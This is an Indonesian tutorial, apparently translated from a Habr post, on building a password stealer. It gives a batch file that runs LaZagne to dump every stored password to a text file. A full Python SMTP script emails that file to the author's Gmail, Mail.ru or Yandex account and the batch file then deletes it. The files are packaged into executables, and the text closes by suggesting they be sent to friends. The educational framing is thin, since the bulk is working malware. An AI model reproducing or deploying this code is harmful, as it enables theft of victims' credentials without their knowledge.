Python Stiller dengan Email

Apa yang akan kita lakukan


Halo, pembaca hari ini akan berbicara tentang mengapa Anda tidak perlu membuka file yang belum diverifikasi yang diunduh dari sumber yang tidak dikenal dan membuat file seperti itu untuk memahami apa yang dapat dilakukan pada PC Anda. Kami akan membuat styler yang akan mengumpulkan semua kata sandi kami dan mengirimkannya kepada kami melalui surat.


Apa yang dibutuhkan untuk ini?


Kami akan membutuhkan:


  1. Python 3.xx
  2. Alat pemulihan kata sandi (dalam kasus kami, LaZagne )
  3. Dua Akun Google

Jadi kita mulai


Pertama, letakkan file .exe dari alat LaZagne di folder dengan proyek kami. Selanjutnya, buat file .bat dengan nama apa pun (saya akan memiliki main.bat) dan file send.py.


Kita harus mendapatkan struktur ini:


Proyek:


  • laZagne.exe
  • send.py
  • main.bat

Menulis kode


Buka file main.bat dan masukkan kode di sana:


@Echo off laZagne.exe all > pass.txt 

Sekarang, ketika Anda menjalankan file .bat kami, kami akan memiliki file pass.txt di mana semua kata sandi Anda dari browser (dan tidak hanya) akan menjadi. Tetap hanya mengirim data ke surat. Tetapi bagaimana cara melakukannya?


Mengirim surat

Buka file send.py dan rekatkan kode:


 import smtplib import os import mimetypes from email import encoders from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.mime.image import MIMEImage from email.mime.audio import MIMEAudio from email.mime.multipart import MIMEMultipart def send_email(addr_from, password, addr_to, files): msg_subj = 'Password' msg_text = 'Password' msg = MIMEMultipart() msg['From'] = addr_from msg['To'] = addr_to msg['Subject'] = msg_subj body = msg_text msg.attach(MIMEText(body, 'plain')) process_attachement(msg, files) #==========   ========== server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit() #============================================ def process_attachement(msg, files): for f in files: if os.path.isfile(f): attach_file(msg,f) elif os.path.exists(f): dir = os.listdir(f) for file in dir: attach_file(msg,f+"/"+file) def attach_file(msg, filepath): filename = os.path.basename(filepath) ctype, encoding = mimetypes.guess_type(filepath) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) if maintype == 'text': with open(filepath) as fp: file = MIMEText(fp.read(), _subtype=subtype) fp.close() elif maintype == 'image': with open(filepath, 'rb') as fp: file = MIMEImage(fp.read(), _subtype=subtype) fp.close() elif maintype == 'audio': with open(filepath, 'rb') as fp: file = MIMEAudio(fp.read(), _subtype=subtype) fp.close() else: with open(filepath, 'rb') as fp: file = MIMEBase(maintype, subtype) file.set_payload(fp.read()) fp.close() encoders.encode_base64(file) file.add_header('Content-Disposition', 'attachment', filename=filename) msg.attach(file) #====================================== _from = "from@gmail.com" _password = "password" _to = "to@gmail.com" files = ["pass.txt"] #============================================= send_email(_from, _password, _to, files) 

Sekarang Anda perlu mengonfigurasi dan, tergantung pada layanan yang akan Anda kirimi surat, ubah kode yang dipilih: Google (pertama-tama Anda harus mengizinkan akses untuk aplikasi yang kurang aman ):


 server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit() 

Mail.ru:


 server = smtplib.SMTP_SSL('smtp.mail.ru', 25) server.login(addr_from, password) server.send_message(msg) server.quit() 

Yandex:


 server = smtplib.SMTP_SSL('smtp.yandex.ru', 465) server.login(addr_from, password) server.send_message(msg) server.quit() 

Selesai .bat

Sekarang di file .bat kami, tambahkan kode peluncuran file send.py dan penghapusan file pass.txt:


 send.py del /s "pass.txt" 

Majelis


Sekarang, setelah menjalankan main.bat, kata sandi Anda akan dikirim ke email Anda, tetapi jika Anda tidak memasang Python, maka tidak ada yang berfungsi, Anda perlu mengubah file send.py kami menjadi exe. Untuk melakukan ini, buka konsol dan tulis:


 pip install pyinstaller pyinstaller --onefile send.py 

Namun, kita perlu mengubah file main.bat menjadi main.exe, dan Bat To Exe Converter akan membantu kita dengan ini. Klik tombol dengan tiga titik ("...") dan cari file main.bat Anda, klik "Open", lalu klik "Convert" dan dapatkan file main.exe. Ketiga file ini adalah styler kami, kami bisa kirim ke teman dan nikmati periksa kinerja.


Referensi


Source: https://habr.com/ru/post/id434356/


All Articles